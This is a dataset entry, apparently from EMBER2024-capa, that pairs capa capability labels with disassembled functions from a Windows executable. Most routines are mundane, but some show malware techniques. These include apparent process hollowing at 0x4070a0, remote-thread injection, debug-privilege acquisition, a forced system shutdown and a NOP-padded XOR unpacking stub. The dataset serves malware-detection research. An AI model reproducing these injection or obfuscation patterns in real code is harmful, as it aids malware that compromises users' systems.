joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4563b0
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x4563c2
add esp, 0xfffffff0
call fcn.004039d8
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041dd78
mov eax, dword [0x464224]
mov dword [eax + 4], ebx
mov dword [eax], 0x456754
mov eax, dword [0x464230]
mov dword [eax + 4], ebx
mov dword [eax], 0x456760
mov eax, ebx
call fcn.0045676c
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x4156b0]
call fcn.00403688
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x4156b0]
call fcn.00403688
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x4156b0]
call fcn.00403688
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x4156b0]
call fcn.00403688
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x4156b0]
call fcn.00403688
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x452b5c
push eax
push 0
push 0
mov eax, dword [0x46438c]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41f7b4]
call fcn.00420c1c
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41f7b4]
call fcn.00420c1c
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41f7b4]
call fcn.00420c1c
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00456bbc
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x456a84
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x456a84
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x456a84
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4564ff
call fcn.00403a30
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x456868
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x456a13
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x4569f4
mov dl, 1
mov eax, dword [0x415c58]
call fcn.00403688
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.0040442c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x4569e3
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00444764
test al, al
je 0x4569d6
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x456a24
lea eax, [ebp - 0x254]
call fcn.0040969c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4569d6
xor eax, eax
push ebp
push 0x4569cf
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x456a5c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x4569b8
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040469c
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4569b8
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040469c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4569d6
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x4568d9
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00419f68
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x456a1a
lea eax, [ebp - 0x260]
call fcn.0040442c
ret

Function at 0x45735c
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x465bbc]
cmp byte [eax + 0xa5], 0
jne 0x4573cd
cmp dword [0x465bd4], 0
jne 0x45738e
call sub.KERNEL32.DLL_GetCurrentThreadId
push eax
push 0
mov eax, 0x457318
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x465bd4], eax
cmp dword [0x465bd0], 0
jne 0x4573a9
push 0
push 0
push 0
push 0
call sub.KERNEL32.DLL_CreateEventA
mov dword [0x465bd0], eax
cmp dword [0x465bd8], 0
jne 0x4573cd
push esp
push 0
push 0
push 0x4572bc
push 0x3e8
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x465bd8], eax
pop edx
ret
Function at 0x45788c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x465bbc]
cmp dword [eax + 0x30], 0
je 0x457936
cmp dword [ebx + 0x94], 0
jne 0x457930
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45781c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x457930
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x4578f6
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x457930
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00417ba4
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x457905
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x458494
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x4584c9
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040451c
jmp 0x4584d6
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404480
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x4596d4
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x459715
mov eax, esi
call fcn.0043fed8
test al, al
je 0x459715
mov eax, dword [ebx + 0x84]
call fcn.0043fbd4
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x459715
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043fbd4
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x45a740
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
xor ecx, ecx
mov dword [ebp - 0x110], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x45a7d1
push dword fs:[edx]
mov dword fs:[edx], esp
lea edx, [ebp - 4]
push edx
and eax, 0x7f
mov eax, dword [eax*4 + 0x463dcc]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
lea eax, [ebp - 0x109]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
mov eax, dword [ebp - 4]
push eax
call sub.ole32.dll_CoTaskMemFree
mov edx, ebx
lea eax, [ebp - 0x109]
call fcn.0040921c
lea edx, [ebp - 0x110]
mov eax, dword [ebx]
call fcn.0040cd30
mov edx, dword [ebp - 0x110]
mov eax, ebx
call fcn.00404480
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45a7d8
lea eax, [ebp - 0x110]
call fcn.0040442c
ret
Function at 0x45a7e0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor edx, edx
mov dword [ebp - 0x104], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x45a853
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x100]
push eax
push 0xff
call sub.KERNEL32.DLL_GetTempPathA
mov edx, ebx
lea eax, [ebp - 0x100]
call fcn.0040921c
lea edx, [ebp - 0x104]
mov eax, dword [ebx]
call fcn.0040cd30
mov edx, dword [ebp - 0x104]
mov eax, ebx
call fcn.00404480
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45a85a
lea eax, [ebp - 0x104]
call fcn.0040442c
ret

Function at 0x45a860
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor edx, edx
mov dword [ebp - 0x104], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x45a8d3
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xff
lea eax, [ebp - 0x100]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov edx, ebx
lea eax, [ebp - 0x100]
call fcn.0040921c
lea edx, [ebp - 0x104]
mov eax, dword [ebx]
call fcn.0040cd30
mov edx, dword [ebp - 0x104]
mov eax, ebx
call fcn.00404480
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45a8da
lea eax, [ebp - 0x104]
call fcn.0040442c
ret

Function at 0x45a8e0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor edx, edx
mov dword [ebp - 0x104], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x45a958
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x100]
push eax
push 0x45a964
call sub.KERNEL32.DLL_GetEnvironmentVariableA
mov edx, ebx
lea eax, [ebp - 0x100]
call fcn.0040921c
lea edx, [ebp - 0x104]
mov eax, dword [ebx]
call fcn.0040cd30
mov edx, dword [ebp - 0x104]
mov eax, ebx
call fcn.00404480
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45a95f
lea eax, [ebp - 0x104]
call fcn.0040442c
ret

Function at 0x45a974
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor edx, edx
mov dword [ebp - 0x104], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x45a9e7
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xff
lea eax, [ebp - 0x100]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
mov edx, ebx
lea eax, [ebp - 0x100]
call fcn.0040921c
lea edx, [ebp - 0x104]
mov eax, dword [ebx]
call fcn.0040cd30
mov edx, dword [ebp - 0x104]
mov eax, ebx
call fcn.00404480
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45a9ee
lea eax, [ebp - 0x104]
call fcn.0040442c
ret
Function at 0x45b0e0
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
xor edx, edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x45b1a9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1e]
xor ecx, ecx
mov edx, 0x1e
call fcn.004030c8
xor eax, eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], 3
mov word [ebp - 0xe], 0x414
lea edx, [ebp - 0x24]
mov eax, ebx
call fcn.0040cd84
lea eax, [ebp - 0x24]
mov edx, 0x45b1c0
call fcn.004046f4
mov eax, dword [ebp - 0x24]
call fcn.004048ec
mov dword [ebp - 0x16], eax
xor eax, eax
mov dword [ebp - 0x12], eax
lea eax, [ebp - 0x1e]
push eax
call sub.shell32.dll_SHFileOperationA
test eax, eax
jne 0x45b158
xor ebx, ebx
jmp 0x45b18e
cmp eax, 0x402
jne 0x45b163
mov bl, 2
jmp 0x45b18e
push 5
push 0
lea eax, [ebp - 0x28]
mov ecx, 0x45b1c0
mov edx, ebx
call fcn.00404738
mov eax, dword [ebp - 0x28]
call fcn.004048ec
push eax
call sub.KERNEL32.DLL_MoveFileExA
test eax, eax
je 0x45b18c
mov bl, 1
jmp 0x45b18e
mov bl, 3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45b1b0
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.00404450
ret
Function at 0x45b1c4
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x45b305
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
push eax
mov eax, esi
call fcn.004048ec
mov edi, eax
push edi
call sub.version.dll_GetFileVersionInfoSizeA
mov dword [ebp - 0x18], eax
mov eax, 0x34
call fcn.00402a38
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
call fcn.00402a38
mov ebx, eax
mov edx, dword [ebp - 0x18]
mov eax, ebx
call fcn.00407330
mov byte [ebp - 9], 0
push ebx
push 0x1000
push 0
push edi
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x45b28a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x45b318
push ebx
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x45b28a
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov edx, eax
shr edx, 0x10
mov ecx, dword [ebp - 4]
mov dword [ecx], edx
and eax, 0xffff
mov edx, dword [ebp - 8]
mov dword [edx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xc]
mov edx, eax
shr edx, 0x10
mov ecx, dword [ebp + 0x10]
mov dword [ecx], edx
and eax, 0xffff
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov byte [ebp - 9], 1
mov edx, 1
mov eax, dword [ebp - 0x10]
call fcn.00402a68
mov eax, ebx
call fcn.00402a68
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x38], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x30], 0
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
lea edx, [ebp - 0x3c]
mov ecx, 3
mov eax, 0x45b324
call fcn.00409734
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
call fcn.00404480
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45b30c
lea eax, [ebp - 0x1c]
call fcn.0040442c
ret

Function at 0x45bce4
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
add eax, 0x18
mov edx, 0x40
call fcn.00407330
ret
Function at 0x45be0c
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048dc
xor eax, eax
push ebp
push 0x45bf5a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x6c]
call fcn.0045bce4
push 0
push 0x8000080
push 3
push 0
push 3
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.004048ec
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x45bf39
xor eax, eax
push ebp
push 0x45bf32
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_CreateFileMappingA
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x45bf1b
xor eax, eax
push ebp
push 0x45bf14
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 4
mov eax, dword [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_MapViewOfFile
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x45befd
xor eax, eax
push ebp
push 0x45bef6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_GetFileSize
mov ecx, eax
lea eax, [ebp - 0x6c]
mov edx, dword [ebp - 0x14]
call fcn.0045bd18
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45befd
mov eax, dword [ebp - 0x14]
push eax
call sub.KERNEL32.DLL_UnmapViewOfFile
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45bf1b
mov eax, dword [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_CloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45bf39
mov eax, dword [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_CloseHandle
ret
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x6c]
call fcn.0045bd98
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45bf61
lea eax, [ebp - 4]
call fcn.0040442c
ret
Function at 0x45c884
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe84
push ebx
xor edx, edx
mov dword [ebp - 0x178], edx
mov dword [ebp - 0x17c], edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004048dc
xor eax, eax
push ebp
push 0x45ca01
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x2000
push 0x160
lea eax, [ebp - 0x168]
push eax
push 0
mov eax, dword [ebp - 4]
call fcn.004048ec
push eax
call sub.shell32.dll_SHGetFileInfoA
mov ebx, eax
lea eax, [ebp - 0x16c]
mov edx, ebx
and edx, 0xff
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x16c]
lea eax, [ebp - 0x170]
call fcn.00402fac
lea eax, [ebp - 0x174]
mov edx, ebx
and edx, 0xff00
shr edx, 8
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x174]
lea eax, [ebp - 0x170]
mov cl, 2
call fcn.00402f7c
lea edx, [ebp - 0x170]
lea eax, [ebp - 8]
call fcn.00404690
mov eax, dword [ebp - 8]
mov edx, 0x45ca18
call fcn.00404838
jne 0x45c94e
mov bl, 1
jmp 0x45c9d6
mov eax, dword [ebp - 8]
mov edx, 0x45ca24
call fcn.00404838
jne 0x45c961
mov bl, 2
jmp 0x45c9d6
mov eax, dword [ebp - 8]
mov edx, 0x45ca30
call fcn.00404838
jne 0x45c980
mov eax, ebx
call fcn.0040731c
test ax, ax
jne 0x45c980
mov bl, 3
jmp 0x45c9d6
mov eax, dword [ebp - 8]
mov edx, 0x45ca30
call fcn.00404838
jne 0x45c99f
mov eax, ebx
call fcn.0040731c
test ax, ax
jbe 0x45c99f
mov bl, 4
jmp 0x45c9d6
lea edx, [ebp - 0x17c]
mov eax, dword [ebp - 4]
call fcn.00408ed8
mov eax, dword [ebp - 0x17c]
lea edx, [ebp - 0x178]
call fcn.0040858c
mov eax, dword [ebp - 0x178]
mov edx, 0x45ca3c
call fcn.00404838
jne 0x45c9d4
mov bl, 1
jmp 0x45c9d6
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45ca08
lea eax, [ebp - 0x17c]
mov edx, 2
call fcn.00404450
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404450
ret

Function at 0x45cbbc
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
push ecx
push esp
push 0x20
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
mov cl, 1
mov edx, 0x45cbf4
mov eax, dword [esp]
call fcn.0045cb24
mov ebx, eax
mov eax, dword [esp]
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, ebx
pop edx
pop ebx
ret

Function at 0x45cc08
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffeec
mov edi, edx
mov esi, eax
mov eax, edi
call fcn.0040442c
lea eax, [esp + 4]
push eax
push 0
push 0
push 0x45cc98
push 0x45cca8
call sub.KERNEL32.DLL_GetModuleHandleA
push eax
call sub.KERNEL32.DLL_GetProcAddress
push eax
push 0
push 0
push esi
call sub.KERNEL32.DLL_CreateRemoteThread
mov ebx, eax
test ebx, ebx
je 0x45cc8c
push 0x1f4
push ebx
call sub.KERNEL32.DLL_WaitForSingleObject
lea eax, [esp + 8]
push eax
push ebx
call sub.KERNEL32.DLL_GetExitCodeThread
push ebx
call sub.KERNEL32.DLL_CloseHandle
push esp
push 0x105
lea eax, [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
push eax
push esi
call sub.KERNEL32.DLL_ReadProcessMemory
test eax, eax
je 0x45cc8c
mov edx, edi
lea eax, [esp + 0xc]
call fcn.0040921c
add esp, 0x114
pop edi
pop esi
pop ebx
ret
Function at 0x45f4f0
Capabilities:
Get session user name

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, eax
mov dword [esp], 0x105
lea eax, [esp + 4]
mov edx, dword [esp]
call fcn.00407330
push esp
lea eax, [esp + 8]
push eax
call sub.advapi32.dll_GetUserNameA
mov edx, ebx
lea eax, [esp + 4]
call fcn.0040921c
add esp, 0x10c
pop ebx
ret

Function at 0x45f52c
Capabilities:
Shutdown system

Disassembly:
add esp, 0xffffffc0
call sub.KERNEL32.DLL_GetCurrentProcess
push esp
push 0x28
push eax
call sub.advapi32.dll_OpenProcessToken
lea eax, [esp + 8]
push eax
push 0x45f5b8
push 0x45f5cc
call sub.advapi32.dll_LookupPrivilegeValueA
mov eax, dword [esp + 8]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], 2
mov dword [esp + 0x14], 1
mov eax, dword [esp + 0x34]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x28]
push eax
push 0x10
lea eax, [esp + 0x20]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
push 0xffff
push 0x17
call sub.user32.dll_ExitWindowsEx
add esp, 0x40
ret
Function at 0x4070a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x462014]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call 0x2ad07b3
nop
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x407289
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x407289
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.004340f0
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call 0x2ad08be
nop
test eax, eax
je 0x407289
push 4
push 0x1000
push 4
push 0
call 0x2ad00cc
nop
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call 0x2a800a0
nop
test eax, eax
je 0x407289
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0x458df8
push dword [esp + 0x30]
call 0x2a8046d
nop
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0x4071ac
push 0x458dfc
push 0x458e14
call 0x2ac0bcb
nop
push eax
call 0x2a80202
nop
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call 0x2a80310
nop
mov dword [esp + 0x14], eax
test eax, eax
je 0x407289
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call 0x2ad071d
nop
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0x407243
mov dword [esp + 0xc], eax
call fcn.00406ef0
push eax
call 0x2ab0748
nop
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call 0x2ad071d
nop
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x4071f2
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call 0x2ad071d
nop
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call 0x2a80704
nop
push dword [esp + 0x24]
call 0x2ac0cac
nop
push 0x8000
push 0
push esi
call 0x2ad0603
nop
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.0041cff1
mov esp, ebp
pop ebp
ret
Function at 0x41dcc7
Capabilities:
Parse pe header

Disassembly:
push 0
call 0x341062f
nop
test eax, eax
je 0x41dd07
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41dd07
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41dd07
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41dd07
cmp dword [ecx + 0x74], 0xe
jbe 0x41dd07
cmp dword [ecx + 0xe8], 0
je 0x41dd07
mov al, 1
ret
xor al, al
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
mov ecx, 0x2b0c1b92
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x74e37fdc
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219